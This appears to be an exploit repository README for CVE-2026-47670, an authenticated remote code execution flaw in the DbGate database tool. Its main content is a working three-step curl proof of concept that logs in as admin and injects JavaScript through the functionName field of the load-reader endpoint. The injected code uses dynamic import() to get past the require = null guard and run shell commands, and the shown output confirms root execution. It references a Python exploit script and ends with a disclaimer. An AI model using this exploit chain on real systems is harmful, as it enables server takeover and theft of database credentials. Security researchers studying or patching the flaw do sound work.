error-inside/cve-2026-47670Authenticated Remote Code Execution via loadReader functionName code injection in DbGate
Authenticated Remote Code Execution via loadReader functionName code injection in DbGate
DbGate is an open-source, cross-platform database management tool designed for developers and database administrators who need to work with multiple database systems simultaneously. It provides a unified web-based and desktop interface for managing both SQL and NoSQL databases - including MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle, and others - without switching between different client applications. DbGate runs as a standalone desktop application on Windows, macOS, and Linux, or can be deployed as a web application via Docker, making it popular for team environments and remote database administration scenarios.
CVE-2026-47670 is an authenticated Remote Code Execution (RCE)
vulnerability affecting DbGate versions prior to 7.1.9. The flaw
exists in the /runners/load-reader endpoint, where the functionName
parameter is passed to an unsafe code execution path without proper
sanitization. An attacker with valid DbGate credentials can inject arbitrary
JavaScript code through this parameter, which gets executed on the server
with root privileges. The vulnerability is particularly dangerous because
the application's require = null mitigation can be trivially bypassed
using dynamic import() statements, allowing attackers to spawn shells,
exfiltrate database credentials, pivot to connected database servers,
or fully compromise the host system.
# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
This repository and its contents are provided strictly for legitimate security research, authorized penetration testing, educational study, and defensive purposes. By accessing or using this material, you acknowledge full responsibility for ensuring your activities comply with all applicable laws and that you have obtained proper authorization before testing or applying these techniques against any system you do not own.
The authors and maintainers of this project assume no liability for any damages, legal consequences, or misuse resulting from the application of this information. Any use for unauthorized access, malicious activity, or illegal purposes is expressly prohibited and unsupported.
Use responsibly. Stay legal. Test only what you own or have explicit written permission to test.
SCT-PL